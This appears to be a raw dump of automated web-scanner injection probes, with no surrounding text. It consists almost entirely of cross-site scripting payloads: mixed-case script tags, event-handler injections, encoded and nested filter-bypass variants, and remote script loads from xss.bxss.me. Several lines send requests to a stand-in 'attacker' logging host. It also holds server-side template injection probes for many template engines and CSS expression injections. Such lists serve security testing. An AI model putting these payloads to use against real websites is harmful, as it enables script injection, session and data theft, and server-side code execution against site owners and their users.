555CT9RQ <ScRiPt >kU4a(9177)</ScRiPt>

dfb{98991*97996}xca

555}body{zzz:Expre/**/SSion(qNDM(9580))}

555<ScRiPt >SJcs(9947)</ScRiPt>

555<WR4QWG>GCDVT[!+!]</WR4QWG>

555<ifRAme sRc=9524.com></IfRamE>

555p5s1Z <ScRiPt >qNDM(9428)</ScRiPt>

dfb${98991*97996}xca

555<svg  \xa0onload=SJcs(9756)

555<W4TTQM>EE27I[!+!]</W4TTQM>

555<ifRAme sRc=9049.com></IfRamE>

555<aGUvqBp x=9331>

dfb#{98991*97996}xca

555<isindex type=image src=1 onerror=SJcs(9147)>

555<img sRc='http://attacker-9782/log.php?

555<a7qoyeR x=9479>

555<ifRAme sRc=9532.com></IfRamE>

dfb{#98991*97996}xca

555<aiDvCMo x=9688>

dfb{@98991*97996}xca

555<iframe src='data:text/html

555<ab563yy<

555<img sRc='http://attacker-9495/log.php?

dfb{{=98991*97996}}xca

555<img sRc='http://attacker-9691/log.php?

555<body onload=SJcs(9490)>

dfb@(98991*97996)xca

555<avS0Y26<

555<img src=//xss.bxss.me/t/dot.gif onload=SJcs(9624)>

555<aQNVw5D<

dfb<%=98991*97996%>xca

555<img src=xyz OnErRor=SJcs(9211)>

dfb#set($x=98991*97996)${x}xca

555<img/src=">" onerror=alert(9744)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%4A%63%73%289782%29%3C%2F%73%43%72%69%70%54%3E

dfb{{"abc"|title}}xca

555\u003CScRiPt\SJcs(9273)\u003C/sCripT\u003E

555&lt

print("dfb" . 98991*97996 . "xca")

98991*97996*98991*97996

\xf6<img zzz onmouseover=SJcs(90261) //\xf6>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<input autofocus onfocus=SJcs(9217)>

dfb{{{this}}}xca

<a HrEF=http://xss.bxss.me></a>

#{98991*97996*98991*97996}

<a HrEF=jaVaScRiPT:>

dfb#{xca}=123

dfb{{'abcd'.toUpperCase()}}xca

555}body{zzz:Expre/**/SSion(SJcs(9620))}

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555TtKxD <ScRiPt >SJcs(9327)</ScRiPt>

dfb{{98991*97996}}xca

555<WII6DJ>XUEZE[!+!]</WII6DJ>

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9840.com></IfRamE>

dfb__${98991*97996}__::.x

555<a1qeZyx x=9154>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img sRc='http://attacker-9022/log.php?

555'"()&%<zzz><ScRiPt >8e54(9001)</ScRiPt>

555<aCGaSFi<

555<ScRiPt >fYXr(9655)</ScRiPt>

555<WU46GB>ENWFZ[!+!]</WU46GB>

555'"()&%<zzz><ScRiPt >5jIu(9014)</ScRiPt>

'"()&%<zzz><ScRiPt >8e54(9357)</ScRiPt>

555'"()&%<zzz><ScRiPt >kesd(9829)</ScRiPt>

555'"()&%<zzz><ScRiPt >alEX(9913)</ScRiPt>

555<script>fYXr(9517)</script>

'"()&%<zzz><ScRiPt >5jIu(9070)</ScRiPt>

'"()&%<zzz><ScRiPt >alEX(9810)</ScRiPt>

'"()&%<zzz><ScRiPt >kesd(9492)</ScRiPt>

5559760452

5559804986

5559832910

555<script>fYXr(9660)</script>9660

bfg5274\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5274

5559106138

bfg3223\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3223

bfg10912\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10912

555<ScR<ScRiPt>IpT>fYXr(9093)</sCr<ScRiPt>IpT>

bfgx10915\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10915

bfgx9662\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9662

bfgx1845\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1845

bfg1189\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1189

<%={{={@{#{${dfb}}%>

555<ScRiPt >fYXr(9585)</ScRiPt>

<%={{={@{#{${dfb}}%>

bfgx2198\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2198

<%={{={@{#{${dfb}}%>

555

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9002></ScRiPt>

<%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555<ScRiPt >fYXr(9220)</ScRiPt>

555

<th:t="${dfb}#foreach

555

dfb{{98991*97996}}xca

555

555<svg  \xa0onload=fYXr(9706)

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=fYXr(9313)>

555

555<iframe src='data:text/html

dfb{98991*97996}xca

dfb{98991*97996}xca

555

dfb${98991*97996}xca

dfb{{98991*97996}}xca

555<body onload=fYXr(9639)>

dfb${98991*97996}xca

dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=fYXr(9368)>

dfb[[${98991*97996}]]xca

dfb#{98991*97996}xca

dfb[[${98991*97996}]]xca

dfb#{98991*97996}xca

555<img src=xyz OnErRor=fYXr(9559)>

dfb{#98991*97996}xca

dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9296)>

dfb{#98991*97996}xca

dfb{@98991*97996}xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%59%58%72%289527%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{@98991*97996}xca

555<ScRiPt >alEX(9973)</ScRiPt>

dfb{{=98991*97996}}xca

555\u003CScRiPt\fYXr(9737)\u003C/sCripT\u003E

dfb{{=98991*97996}}xca

555<ScRiPt >5jIu(9262)</ScRiPt>

dfb@(98991*97996)xca

dfb<%=98991*97996%>xca

dfb@(98991*97996)xca

555<WA46ZC>RM9VF[!+!]</WA46ZC>

555&lt

555'"()&%<zzz><ScRiPt >7iXH(9288)</ScRiPt>

555<WJTBLQ>L7MAD[!+!]</WJTBLQ>

555'"()&%<zzz><ScRiPt >YzNt(9677)</ScRiPt>

555'"()&%<zzz><ScRiPt >YC8O(9923)</ScRiPt>

\xf6<img zzz onmouseover=fYXr(97021) //\xf6>

dfb<%=98991*97996%>xca

dfb#set($x=98991*97996)${x}xca

'"()&%<zzz><ScRiPt >7iXH(9445)</ScRiPt>

'"()&%<zzz><ScRiPt >YC8O(9988)</ScRiPt>

555<script>alEX(9440)</script>

555<input autofocus onfocus=fYXr(9355)>

'"()&%<zzz><ScRiPt >YzNt(9200)</ScRiPt>

555<script>5jIu(9024)</script>

dfb{{"abc"|title}}xca

dfb#set($x=98991*97996)${x}xca

<a HrEF=http://xss.bxss.me></a>

5559412031

5559259198

555<script>alEX(9191)</script>9191

555<script>5jIu(9973)</script>9973

5559316490

print("dfb" . 98991*97996 . "xca")

<a HrEF=jaVaScRiPT:>

bfg10456\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10456

dfb{{"abc"|title}}xca

555<ScR<ScRiPt>IpT>5jIu(9079)</sCr<ScRiPt>IpT>

bfg5654\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5654

bfgx2619\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2619

555<ScR<ScRiPt>IpT>alEX(9651)</sCr<ScRiPt>IpT>

555}body{zzz:Expre/**/SSion(fYXr(9261))}

98991*97996*98991*97996

bfg10982\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10982

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >5jIu(9270)</ScRiPt>

bfgx7431\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7431

<%={{={@{#{${dfb}}%>

555G9AAj <ScRiPt >fYXr(9141)</ScRiPt>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >alEX(9938)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9390></ScRiPt>

bfgx3455\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3455

98991*97996*98991*97996

dfb{{{this}}}xca

555

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<WR3KBS>OET7W[!+!]</WR3KBS>

555<ScRiPt >5jIu(9002)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9790></ScRiPt>

dfb{@math key=98991 method="multiply" operand=97996/}xca

#{98991*97996*98991*97996}

555<ifRAme sRc=9911.com></IfRamE>

555<svg  \xa0onload=5jIu(9243)

dfb{{98991*97996}}xca

555

555

dfb{{{this}}}xca

<th:t="${dfb}#foreach

555<ScRiPt >alEX(9301)</ScRiPt>

555'"()&%<zzz><ScRiPt >IW8N(9970)</ScRiPt>

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=5jIu(9009)>

dfb#{xca}=123

555<aRqkX9E x=9002>

dfb{{98991*97996}}xca

555

555<svg  \xa0onload=alEX(9909)

dfb{98991*97996}xca

dfb{{'abcd'.toUpperCase()}}xca

#{98991*97996*98991*97996}

'"()&%<zzz><ScRiPt >IW8N(9773)</ScRiPt>

555<iframe src='data:text/html

555<img sRc='http://attacker-9649/log.php?

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb#{xca}=123

555<isindex type=image src=1 onerror=alEX(9481)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb${98991*97996}xca

555<body onload=5jIu(9035)>

dfb{{'abcd'.toUpperCase()}}xca

5559908952

555<iframe src='data:text/html

dfb{{98991*97996}}xca

555<aCdRHiN<

dfb#{98991*97996}xca

dfb{98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=5jIu(9081)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

bfg9368\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9368

dfb{#98991*97996}xca

555<img src=xyz OnErRor=5jIu(9083)>

dfb${98991*97996}xca

555<body onload=alEX(9118)>

dfb[[${98991*97996}]]xca

bfgx10987\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10987

dfb{@98991*97996}xca

dfb#{98991*97996}xca

555<img/src=">" onerror=alert(9867)>

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=alEX(9573)>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

dfb{{=98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb{#98991*97996}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%6A%49%75%289990%29%3C%2F%73%43%72%69%70%54%3E

555

555<img src=xyz OnErRor=alEX(9070)>

dfb@(98991*97996)xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb<%=98991*97996%>xca

dfb{@98991*97996}xca

<th:t="${dfb}#foreach

dfb__${98991*97996}__::.x

555<ScRiPt >8e54(9806)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555\u003CScRiPt\5jIu(9939)\u003C/sCripT\u003E

dfb#set($x=98991*97996)${x}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9777)>

555<ScRiPt >kesd(9528)</ScRiPt>

555

555<ScRiPt >YzNt(9742)</ScRiPt>

dfb{{=98991*97996}}xca

555&lt

dfb{{"abc"|title}}xca

555<WT2RSV>L6EHL[!+!]</WT2RSV>

%35%35%35%3C%53%63%52%69%50%74%20%3E%61%6C%45%58%289905%29%3C%2F%73%43%72%69%70%54%3E

dfb@(98991*97996)xca

print("dfb" . 98991*97996 . "xca")

555<script>8e54(9593)</script>

555<WYTGDB>G2U5R[!+!]</WYTGDB>

555\u003CScRiPt\alEX(9033)\u003C/sCripT\u003E

dfb<%=98991*97996%>xca

98991*97996*98991*97996

555<WDUTI7>VJ87P[!+!]</WDUTI7>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

\xf6<img zzz onmouseover=5jIu(96601) //\xf6>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555

555<script>kesd(9961)</script>

555&lt

555<script>YzNt(9038)</script>

555<input autofocus onfocus=5jIu(9186)>

555<script>8e54(9482)</script>9482

dfb#set($x=98991*97996)${x}xca

555<script>kesd(9816)</script>9816

555<script>YzNt(9200)</script>9200

dfb{{98991*97996}}xca

dfb{{{this}}}xca

\xf6<img zzz onmouseover=alEX(95871) //\xf6>

<a HrEF=http://xss.bxss.me></a>

dfb{{"abc"|title}}xca

555<ScR<ScRiPt>IpT>8e54(9294)</sCr<ScRiPt>IpT>

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

#{98991*97996*98991*97996}

555<ScR<ScRiPt>IpT>kesd(9758)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=alEX(9432)>

555<ScR<ScRiPt>IpT>YzNt(9451)</sCr<ScRiPt>IpT>

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >kesd(9076)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

dfb#{xca}=123

555<ScRiPt >8e54(9458)</ScRiPt>

98991*97996*98991*97996

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

555<ScRiPt >YzNt(9048)</ScRiPt>

555}body{zzz:Expre/**/SSion(5jIu(9188))}

dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9470></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9629></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9678></ScRiPt>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555}body{zzz:Expre/**/SSion(alEX(9125))}

555<ScRiPt >kesd(9770)</ScRiPt>

555<ScRiPt >YzNt(9216)</ScRiPt>

555<ScRiPt >8e54(9125)</ScRiPt>

5553FWP9 <ScRiPt >5jIu(9833)</ScRiPt>

555nJAKL <ScRiPt >alEX(9124)</ScRiPt>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt >IW8N(9232)</ScRiPt>

555<WDWJYV>AY8MU[!+!]</WDWJYV>

555<svg  \xa0onload=YzNt(9275)

555<svg  \xa0onload=kesd(9941)

555<svg  \xa0onload=8e54(9876)

555<WNAGZQ>BYMYE[!+!]</WNAGZQ>

dfb{{{this}}}xca

555<WH7TDN>QMEOS[!+!]</WH7TDN>

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=YzNt(9515)>

555<script>IW8N(9264)</script>

555<isindex type=image src=1 onerror=kesd(9019)>

555<ifRAme sRc=9827.com></IfRamE>

555<iframe src='data:text/html

555<ifRAme sRc=9714.com></IfRamE>

#{98991*97996*98991*97996}

dfb[[${98991*97996}]]xca

555<isindex type=image src=1 onerror=8e54(9540)>

555<script>IW8N(9035)</script>9035

555<body onload=YzNt(9639)>

555<iframe src='data:text/html

555<iframe src='data:text/html

dfb#{xca}=123

555<alEO6UF x=9540>

555<ah1vYFO x=9569>

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=YzNt(9883)>

555<body onload=kesd(9256)>

555<ScR<ScRiPt>IpT>IW8N(9272)</sCr<ScRiPt>IpT>

555<body onload=8e54(9180)>

dfb{{'abcd'.toUpperCase()}}xca

555<img src=xyz OnErRor=YzNt(9956)>

555<img sRc='http://attacker-9588/log.php?

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=//xss.bxss.me/t/dot.gif onload=kesd(9387)>

555<img sRc='http://attacker-9282/log.php?

555<img/src=">" onerror=alert(9592)>

555<img src=//xss.bxss.me/t/dot.gif onload=8e54(9341)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img src=xyz OnErRor=kesd(9046)>

555<aV3fXSs<

555<ScRiPt >IW8N(9978)</ScRiPt>

555<azUyH4P<

555<ScRiPt >7iXH(9017)</ScRiPt>

555<img/src=">" onerror=alert(9634)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%7A%4E%74%289317%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=8e54(9514)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9801></ScRiPt>

555<img/src=">" onerror=alert(9641)>

555<WHNLFC>O9R79[!+!]</WHNLFC>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6B%65%73%64%289671%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\YzNt(9369)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

555<ScRiPt >IW8N(9075)</ScRiPt>

555<script>7iXH(9334)</script>

%35%35%35%3C%53%63%52%69%50%74%20%3E%38%65%35%34%289708%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\kesd(9517)\u003C/sCripT\u003E

555&lt

555\u003CScRiPt\8e54(9602)\u003C/sCripT\u003E

dfb__${98991*97996}__::.x

555<svg  \xa0onload=IW8N(9772)

555&lt

555<script>7iXH(9921)</script>9921

555'"()&%<zzz><ScRiPt >NvS4(9169)</ScRiPt>

555&lt

555'"()&%<zzz><ScRiPt >dxSa(9257)</ScRiPt>

\xf6<img zzz onmouseover=YzNt(90301) //\xf6>

555<isindex type=image src=1 onerror=IW8N(9860)>

555<ScR<ScRiPt>IpT>7iXH(9616)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >NvS4(9426)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=kesd(96721) //\xf6>

'"()&%<zzz><ScRiPt >dxSa(9102)</ScRiPt>

555<input autofocus onfocus=YzNt(9256)>

5559238155

555<iframe src='data:text/html

555<ScRiPt >YC8O(9772)</ScRiPt>

555<ScRiPt >7iXH(9876)</ScRiPt>

5559753773

\xf6<img zzz onmouseover=8e54(92461) //\xf6>

<a HrEF=http://xss.bxss.me></a>

555<body onload=IW8N(9145)>

555<WIMXSV>EVSVY[!+!]</WIMXSV>

555'"()&%<zzz><ScRiPt >KC1V(9161)</ScRiPt>

555<input autofocus onfocus=kesd(9888)>

bfg4635\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4635

bfg4204\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4204

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9299></ScRiPt>

<a HrEF=jaVaScRiPT:>

555<input autofocus onfocus=8e54(9076)>

<a HrEF=http://xss.bxss.me></a>

bfgx7299\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7299

555<script>YC8O(9486)</script>

'"()&%<zzz><ScRiPt >KC1V(9151)</ScRiPt>

bfgx8161\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8161

555<ScRiPt >7iXH(9574)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=IW8N(9595)>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(YzNt(9158))}

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

5559846225

555dzrsu <ScRiPt >YzNt(9875)</ScRiPt>

555<script>YC8O(9205)</script>9205

<a HrEF=jaVaScRiPT:>

555<img src=xyz OnErRor=IW8N(9291)>

555}body{zzz:Expre/**/SSion(kesd(9814))}

555<svg  \xa0onload=7iXH(9249)

<th:t="${dfb}#foreach

555}body{zzz:Expre/**/SSion(8e54(9350))}

555<ScR<ScRiPt>IpT>YC8O(9018)</sCr<ScRiPt>IpT>

555

bfg4158\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4158

555<WA1GX9>VLKVU[!+!]</WA1GX9>

555<img/src=">" onerror=alert(9639)>

555<ScRiPt >YC8O(9700)</ScRiPt>

555ctuRl <ScRiPt >kesd(9420)</ScRiPt>

555'"()&%<zzz><ScRiPt >pIxB(9021)</ScRiPt>

bfgx1899\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1899

555<isindex type=image src=1 onerror=7iXH(9737)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%57%38%4E%289407%29%3C%2F%73%43%72%69%70%54%3E

<th:t="${dfb}#foreach

555HU6mc <ScRiPt >8e54(9610)</ScRiPt>

555

'"()&%<zzz><ScRiPt >pIxB(9109)</ScRiPt>

555<ifRAme sRc=9930.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9289></ScRiPt>

555<WNQO3T>D8JQV[!+!]</WNQO3T>

555

555\u003CScRiPt\IW8N(9401)\u003C/sCripT\u003E

555<iframe src='data:text/html

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<aAvbAeQ x=9137>

555<ScRiPt >YC8O(9430)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ifRAme sRc=9836.com></IfRamE>

555<WCOGLW>XW8SP[!+!]</WCOGLW>

555<body onload=7iXH(9769)>

5559956159

555

555

555

555<img src=//xss.bxss.me/t/dot.gif onload=7iXH(9089)>

555&lt

555<svg  \xa0onload=YC8O(9719)

555<axnLBpN x=9093>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9865/log.php?

bfg5871\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5871

555<ifRAme sRc=9269.com></IfRamE>

555<img src=xyz OnErRor=7iXH(9725)>

555<isindex type=image src=1 onerror=YC8O(9195)>

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9077/log.php?

555<img/src=">" onerror=alert(9827)>

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

bfgx5644\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5644

555<aMehJtJ<

\xf6<img zzz onmouseover=IW8N(90101) //\xf6>

555<adLo6gt x=9977>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%69%58%48%289247%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<iframe src='data:text/html

dfb__${98991*97996}__::.x

555<aWByjEr<

555\u003CScRiPt\7iXH(9214)\u003C/sCripT\u003E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<img sRc='http://attacker-9419/log.php?

555<input autofocus onfocus=IW8N(9826)>

555

555<body onload=YC8O(9218)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >dxSa(9025)</ScRiPt>

555<asYQTBI<

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<th:t="${dfb}#foreach

<a HrEF=http://xss.bxss.me></a>

555<WDZLDN>RHFJJ[!+!]</WDZLDN>

\xf6<img zzz onmouseover=7iXH(95481) //\xf6>

555<script>dxSa(9140)</script>

555<img src=//xss.bxss.me/t/dot.gif onload=YC8O(9752)>

555<ScRiPt >NvS4(9631)</ScRiPt>

555

dfb{{98991*97996}}xca

<a HrEF=jaVaScRiPT:>

555<script>dxSa(9526)</script>9526

555<WAYBGG>T123D[!+!]</WAYBGG>

555<input autofocus onfocus=7iXH(9256)>

555

555<img src=xyz OnErRor=YC8O(9222)>

555<ScR<ScRiPt>IpT>dxSa(9720)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

555<script>NvS4(9498)</script>

555<img/src=">" onerror=alert(9518)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(IW8N(9904))}

555<ScRiPt >dxSa(9674)</ScRiPt>

555<script>NvS4(9415)</script>9415

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%43%38%4F%289945%29%3C%2F%73%43%72%69%70%54%3E

555

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\YC8O(9286)\u003C/sCripT\u003E

555cjXPC <ScRiPt >IW8N(9454)</ScRiPt>

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9106></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScR<ScRiPt>IpT>NvS4(9026)</sCr<ScRiPt>IpT>

555}body{zzz:Expre/**/SSion(7iXH(9012))}

555<WJ6WFT>NJ8DD[!+!]</WJ6WFT>

555<ScRiPt >KC1V(9110)</ScRiPt>

555<ScRiPt >dxSa(9799)</ScRiPt>

555&lt

555<ScRiPt >NvS4(9497)</ScRiPt>

555<WEUDZA>GLC0B[!+!]</WEUDZA>

555ZkMaw <ScRiPt >7iXH(9342)</ScRiPt>

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9766.com></IfRamE>

\xf6<img zzz onmouseover=YC8O(96961) //\xf6>

555<svg  \xa0onload=dxSa(9119)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9039></ScRiPt>

555<aklzlUH x=9793>

555<WNGYVR>RIKHZ[!+!]</WNGYVR>

555<input autofocus onfocus=YC8O(9560)>

555<script>KC1V(9763)</script>

dfb__${98991*97996}__::.x

555<isindex type=image src=1 onerror=dxSa(9720)>

555<img sRc='http://attacker-9024/log.php?

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >NvS4(9228)</ScRiPt>

555<script>KC1V(9352)</script>9352

555<ifRAme sRc=9602.com></IfRamE>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aRmiFWJ<

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(YC8O(9861))}

555<svg  \xa0onload=NvS4(9294)

555<iframe src='data:text/html

555<aN006kO x=9264>

555<ScRiPt >pIxB(9739)</ScRiPt>

555<ScR<ScRiPt>IpT>KC1V(9332)</sCr<ScRiPt>IpT>

555'"()&%<zzz><ScRiPt >Em3x(9392)</ScRiPt>

555'"()&%<zzz><ScRiPt >j4cB(9585)</ScRiPt>

555NjXRe <ScRiPt >YC8O(9103)</ScRiPt>

555<ScRiPt >KC1V(9968)</ScRiPt>

555<img sRc='http://attacker-9834/log.php?

555<isindex type=image src=1 onerror=NvS4(9908)>

555<body onload=dxSa(9787)>

555<WWNUTS>8MML6[!+!]</WWNUTS>

'"()&%<zzz><ScRiPt >j4cB(9475)</ScRiPt>

555<aSw0B1e<

'"()&%<zzz><ScRiPt >Em3x(9578)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=dxSa(9660)>

555<script>pIxB(9303)</script>

555<WKHHCD>CD8CC[!+!]</WKHHCD>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9467></ScRiPt>

5559397381

555'"()&%<zzz><ScRiPt >53YD(9024)</ScRiPt>

555<iframe src='data:text/html

555<img src=xyz OnErRor=dxSa(9331)>

5559411134

555<ifRAme sRc=9942.com></IfRamE>

'"()&%<zzz><ScRiPt >53YD(9414)</ScRiPt>

555<body onload=NvS4(9162)>

bfg6325\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6325

555<ScRiPt >KC1V(9561)</ScRiPt>

555<img/src=">" onerror=alert(9222)>

555<script>pIxB(9897)</script>9897

%35%35%35%3C%53%63%52%69%50%74%20%3E%64%78%53%61%289553%29%3C%2F%73%43%72%69%70%54%3E

bfgx1829\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1829

555<svg  \xa0onload=KC1V(9384)

555<abR1Uzg x=9934>

5559635054

555<ScR<ScRiPt>IpT>pIxB(9019)</sCr<ScRiPt>IpT>

555<img src=//xss.bxss.me/t/dot.gif onload=NvS4(9917)>

555'"()&%<zzz><ScRiPt >2CEk(9233)</ScRiPt>

555\u003CScRiPt\dxSa(9547)\u003C/sCripT\u003E

bfg6632\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6632

<%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=KC1V(9121)>

555<img sRc='http://attacker-9073/log.php?

555<ScRiPt >pIxB(9371)</ScRiPt>

bfgx4420\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4420

555<img src=xyz OnErRor=NvS4(9695)>

bfg5272\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5272

555

'"()&%<zzz><ScRiPt >2CEk(9232)</ScRiPt>

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9072)>

555&lt

555<aDkUGJE<

bfgx8696\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8696

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9618></ScRiPt>

555<body onload=KC1V(9700)>

<th:t="${dfb}#foreach

5559346086

\xf6<img zzz onmouseover=dxSa(90031) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%76%53%34%289306%29%3C%2F%73%43%72%69%70%54%3E

555

bfg2720\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2720

<%={{={@{#{${dfb}}%>

555

